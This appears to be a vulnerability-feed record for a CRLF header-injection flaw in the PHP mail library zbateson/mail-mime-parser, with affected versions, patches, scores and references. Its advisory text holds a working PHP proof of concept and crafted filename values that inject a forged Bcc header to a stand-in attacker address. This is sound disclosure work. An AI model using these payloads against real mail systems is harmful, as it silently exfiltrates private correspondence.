{"schema":"threatline.record/2","record":{"id":"CVE-2026-61815","aliases":["GHSA-36h5-qg4p-q2qf"],"summary":"zbateson/mail-mime-parser has CRLF header injection via attachment filename","details":"### Impact\n\nA CRLF (carriage-return / line-feed) header injection  affecting any application that uses this library to build or forward MIME messages with an attacker-influenced attachment filename.\n  \nAttachment filenames are interpolated into the `Content-Type` and `Content-Disposition` header values without stripping CR/LF, so a filename containing `\\r\\n` serializes as one or more additional, attacker-controlled header lines (for example a forged `Bcc:` that silently exfiltrates a copy of the outgoing message). The untrusted filename can come directly from parsed inbound mail, so no local construction is required — an application that re-attaches or re-sends a parsed filename is exposed.\n\n### Details\n\nOn the outbound side, `MultipartHelper::createAndAddPartForAttachment()` sanitizes the filename only with `iconv('UTF-8','US-ASCII//translit//ignore', $filename)`. CR and LF are valid US-ASCII, so they survive that filter, and the value is then written into the header verbatim via `MimePart::setRawHeader()`. A filename of `doc\\r\\nBcc: attacker@evil.test` therefore serializes as:\n\n```\nContent-Disposition: attachment;\n filename=\"doc\nBcc: attacker@evil.test\"\n```\n\nThe `filename` value closes after `doc`, and `Bcc: attacker@evil.test` stands as its own header line.\n\nThe decode side is affected as well, which is what makes purely inbound exploitation possible:\n\n- `ParameterPart::decodePartValue()` `rawurldecode()`s an RFC 2231 `filename*=` parameter with no control-character stripping, so\n  a crafted `filename*=utf-8''doc%0D%0ABcc:...` makes `getFilename()` return a string with embedded `\\r\\n`.\n- The RFC 2047 path (`MimeToken`) strips `\\r`/`\\n` from the *encoded* word, but then base64/quoted-printable-decodes it, which\n  can reintroduce CR/LF into the decoded value.\n\nAs a result `getFilename()` can already hand back a value containing newlines for crafted inbound mail, which then flows into outbound headers when that filename is reused.\n\n### Proof of concept\n\n```php\ncomposer require zbateson/mail-mime-parser\n\n<?php\nrequire 'vendor/autoload.php';\nuse ZBateson\\MailMimeParser\\MailMimeParser;\nuse ZBateson\\MailMimeParser\\Message;\n\n$parser = new MailMimeParser();\n\nfunction attachAndReport(string $filename): void {\n    $out = Message::from(\"From: me@host\\r\\nContent-Type: text/plain\\r\\n\\r\\nhi\\r\\n\", false);\n    $out->addAttachmentPart('payload', 'application/octet-stream', $filename);\n    echo (strpos($out->__toString(), \"\\r\\nBcc: attacker@evil.test\") !== false)\n        ? \"INJECTED\\n\" : \"clean\\n\";\n}\n\nattachAndReport('invoice.pdf');                    // => clean\nattachAndReport(\"doc\\r\\nBcc: attacker@evil.test\"); // => INJECTED\n\n// The CRLF reaches getFilename() straight from parsed mail via an\n// RFC 2231 filename*= parameter, so no local construction is needed:\n$inbound = \"Content-Type: multipart/mixed; boundary=b\\r\\n\\r\\n\"\n    . \"--b\\r\\nContent-Type: application/octet-stream\\r\\n\"\n    . \"Content-Disposition: attachment; filename*=utf-8''doc%0D%0ABcc:%20attacker@evil.test\\r\\n\\r\\n\"\n    . base64_encode('data') . \"\\r\\n--b--\\r\\n\";\n$fn = $parser->parse($inbound, false)->getAllAttachmentParts()[0]->getFilename();\nvar_dump($fn);        // => string(28) \"doc\\r\\nBcc: attacker@evil.test\"\nattachAndReport($fn); // => INJECTED\n```\n\n### Patches\n\nFixed in 4.0.2 and 3.0.6. Users should upgrade to one of these (or later) versions.\n\nVersions 1.x and 2.x are also affected but are end-of-life and will not receive patches; users on those lines should upgrade to a fixed release.\n\n### Workarounds\n\nIf upgrading is not immediately possible, strip CR and LF from any filename before passing it to attachment APIs, and from the result of getFilename() before reusing it in a constructed message — e.g. preg_replace('/[\\r\\n]+/', ' ', $filename).\n\n- Found and reported privately by Ilia Alshanetsky (@iliaal), who also proposed fixes that informed the patches.","categories":["Libraries & packages"],"product":"zbateson/mail-mime-parser","vendor":"zbateson","ecosystem":"composer","affected_ranges":[{"source":"GitHub Advisory Database","source_url":"https://github.com/advisories/GHSA-36h5-qg4p-q2qf","source_modified_at":"2026-09-24T19:46:33Z","fetched_at":"2026-10-23T18:42:43.628194Z","package":{"ecosystem":"composer","name":"zbateson/mail-mime-parser"},"range":"< 3.0.6"},{"source":"GitHub Advisory Database","source_url":"https://github.com/advisories/GHSA-36h5-qg4p-q2qf","source_modified_at":"2026-09-24T19:46:33Z","fetched_at":"2026-10-23T18:42:43.628194Z","package":{"ecosystem":"composer","name":"zbateson/mail-mime-parser"},"range":">= 4.0.0, < 4.0.2"},{"source":"CVE List","source_url":"https://www.cve.org/CVERecord?id=CVE-2026-61815","source_modified_at":"2026-10-05T15:32:42.078Z","fetched_at":"2026-10-23T18:45:31.882637Z","product":"mail-mime-parser","vendor":"zbateson","versions":[{"version":"< 3.0.6","status":"affected"},{"version":">= 4.0.0, < 4.0.2","status":"affected"}],"defaultStatus":null},{"source":"OSV","source_url":"https://osv.dev/vulnerability/GHSA-36h5-qg4p-q2qf","source_modified_at":"2026-09-24T20:00:05.130856917Z","fetched_at":"2026-10-23T18:42:43.628194Z","package":{"ecosystem":"Packagist","name":"zbateson/mail-mime-parser","purl":"pkg:composer/zbateson/mail-mime-parser"},"ranges":[{"events":[{"introduced":"0"},{"fixed":"3.0.6"}],"type":"ECOSYSTEM"}],"versions":["0.1.0","0.1.1","0.2.0","0.2.1","0.2.2","0.2.3","0.2.4","0.2.5","0.3.0","0.3.1","0.3.2","0.3.3","0.4.0","0.4.1","0.4.10","0.4.11","0.4.12","0.4.13","0.4.2","0.4.3","0.4.4","0.4.5","0.4.6","0.4.7","0.4.8","0.4.9","1.0-alpha","1.0-alpha.2","1.0-beta","1.0.0","1.1.0","1.1.1","1.1.2","1.1.3","1.1.4","1.1.5","1.1.6","1.1.7","1.1.8","1.2.0","1.2.1","1.2.2","1.2.3","1.3.0","1.3.1","1.3.2","1.3.3","2.0.0","2.0.0-beta","2.0.0-beta.1"]},{"source":"OSV","source_url":"https://osv.dev/vulnerability/GHSA-36h5-qg4p-q2qf","source_modified_at":"2026-09-24T20:00:05.130856917Z","fetched_at":"2026-10-23T18:42:43.628194Z","package":{"ecosystem":"Packagist","name":"zbateson/mail-mime-parser","purl":"pkg:composer/zbateson/mail-mime-parser"},"ranges":[{"events":[{"introduced":"4.0.0"},{"fixed":"4.0.2"}],"type":"ECOSYSTEM"}],"versions":["4.0.0","4.0.1"]}],"fixed_versions":[{"source":"GitHub Advisory Database","source_url":"https://github.com/advisories/GHSA-36h5-qg4p-q2qf","source_modified_at":"2026-09-24T19:46:33Z","fetched_at":"2026-10-23T18:42:43.628194Z","package":{"ecosystem":"composer","name":"zbateson/mail-mime-parser"},"version":"3.0.6"},{"source":"GitHub Advisory Database","source_url":"https://github.com/advisories/GHSA-36h5-qg4p-q2qf","source_modified_at":"2026-09-24T19:46:33Z","fetched_at":"2026-10-23T18:42:43.628194Z","package":{"ecosystem":"composer","name":"zbateson/mail-mime-parser"},"version":"4.0.2"},{"source":"OSV","source_url":"https://osv.dev/vulnerability/GHSA-36h5-qg4p-q2qf","source_modified_at":"2026-09-24T20:00:05.130856917Z","fetched_at":"2026-10-23T18:42:43.628194Z","package":{"ecosystem":"Packagist","name":"zbateson/mail-mime-parser","purl":"pkg:composer/zbateson/mail-mime-parser"},"version":"3.0.6"},{"source":"OSV","source_url":"https://osv.dev/vulnerability/GHSA-36h5-qg4p-q2qf","source_modified_at":"2026-09-24T20:00:05.130856917Z","fetched_at":"2026-10-23T18:42:43.628194Z","package":{"ecosystem":"Packagist","name":"zbateson/mail-mime-parser","purl":"pkg:composer/zbateson/mail-mime-parser"},"version":"4.0.2"}],"cvss":7.2,"severity":"High","kev":{"listed":false},"epss":{"probability":0.00178,"percentile":0.07004,"score_date":"2026-10-23"},"published_at":"2026-09-24T17:53:32.355Z","modified_at":"2026-10-05T15:32:42.078Z","provenance":[{"source":"GitHub Advisory Database","url":"https://github.com/advisories/GHSA-36h5-qg4p-q2qf","fetched_at":"2026-10-23T18:42:43.628194Z","source_modified_at":"2026-09-24T19:46:33Z"},{"source":"CVE List","url":"https://www.cve.org/CVERecord?id=CVE-2026-61815","fetched_at":"2026-10-23T18:45:31.882637Z","source_modified_at":"2026-10-05T15:32:42.078Z"},{"source":"OSV","url":"https://osv.dev/vulnerability/GHSA-36h5-qg4p-q2qf","fetched_at":"2026-10-23T18:42:43.628194Z","source_modified_at":"2026-09-24T20:00:05.130856917Z"},{"source":"EPSS","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-61815","fetched_at":"2026-10-23T18:42:43.628194Z","source_modified_at":"2026-10-23"}],"sources":["GitHub Advisory Database","CVE List","OSV","EPSS"],"references":[{"source":"CVE List","url":"https://github.com/zbateson/mail-mime-parser/security/advisories/GHSA-36h5-qg4p-q2qf","tags":["x_refsource_CONFIRM"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-61815","source":"GitHub Advisory Database"},{"url":"https://github.com/zbateson/mail-mime-parser/commit/81859c06abb5d79f04b7a3254d293d0a91065948","source":"GitHub Advisory Database"},{"url":"https://github.com/zbateson/mail-mime-parser/commit/d2970b5df266f62e5ee8e675bfb05502b70fc6e1","source":"GitHub Advisory Database"},{"url":"https://github.com/zbateson/mail-mime-parser/releases/tag/3.0.7","source":"GitHub Advisory Database"},{"url":"https://github.com/zbateson/mail-mime-parser/releases/tag/4.0.2","source":"GitHub Advisory Database"},{"url":"https://github.com/advisories/GHSA-36h5-qg4p-q2qf","source":"GitHub Advisory Database"}],"locations":[],"motoko_assessment":{"status":"requires_architecture_review","automatic_remediation":false},"cve_state":"PUBLISHED","ssvc":{"exploitation":"none","automatable":"yes","technical_impact":"partial","assessed_at":"2026-10-05T14:51:02.739548Z"},"classification":{"method":"product-first software-layer rules","rules_version":"2.1","matched_on":"ecosystem","confidence":"heuristic","reviewed":false},"change_timestamp":"2026-10-05T15:32:42.078Z","content_hash":"a257407b3b1edd3eadfc2447989dbfc9f8cfc5f6cb92dd0f73fa54e53b47e4d4"}}
